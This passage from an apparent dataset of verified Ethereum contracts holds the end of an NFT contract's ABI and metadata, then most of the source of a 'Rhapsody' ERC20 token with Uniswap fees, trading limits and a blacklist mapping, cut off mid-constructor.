"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"PRESALE_MAX_PER_WALLET","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_cost","type":"uint256"},{"internalType":"bool","name":"_paused","type":"bool"},{"internalType":"bool","name":"_preSale","type":"bool"},{"internalType":"uint256","name":"_maxMintAmount","type":"uint256"},{"internalType":"address","name":"_signer","type":"address"}],"name":"configure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deployer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"extension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"preSale","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"},{"internalType":"bytes","name":"signature","type":"bytes"}],"name":"presaleMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxMintAmount","type":"uint256"}],"name":"setMaxMintAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_signer","type":"address"}],"name":"setSigner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"signer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"togglePause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"togglePreSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.7+commit.e28d00a7 | false | 200 | 000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000c4269672042756773204e46540000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000542424e4654000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001768747470733a2f2f626967627567732e696f2f6e66742f000000000000000000 | Default | MIT | false | ipfs://c7e8f8bb6c2cde563847b7363a3afb78dc38d512bd1d39f8f733995114421516 |
||
Rhapsody | 0xe80c007015d81cca2cbf32a4cdabe2893cf8c36c | Solidity | /**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Rhapsody is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
address private marketingWallet;
address private devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public earlySellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// block number of opened trading
uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Rhapsody", "Rhapsody") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 5;
uint256 _buyLiquidityFee = 3;
uint256 _buyDevFee = 5;
uint256 _sellMarketingFee = 5;
uint256 _sellLiquidityFee = 5;
uint256 _sellDevFee = 3;
uint256 _earlySellLiquidityFee = 15;
uint256 _earlySellMarketingFee = 5;
uint256 _earlySellDevFee = 0
; uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn
maxWallet = totalSupply * 20 / 1000; // 2% maxWallet
swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
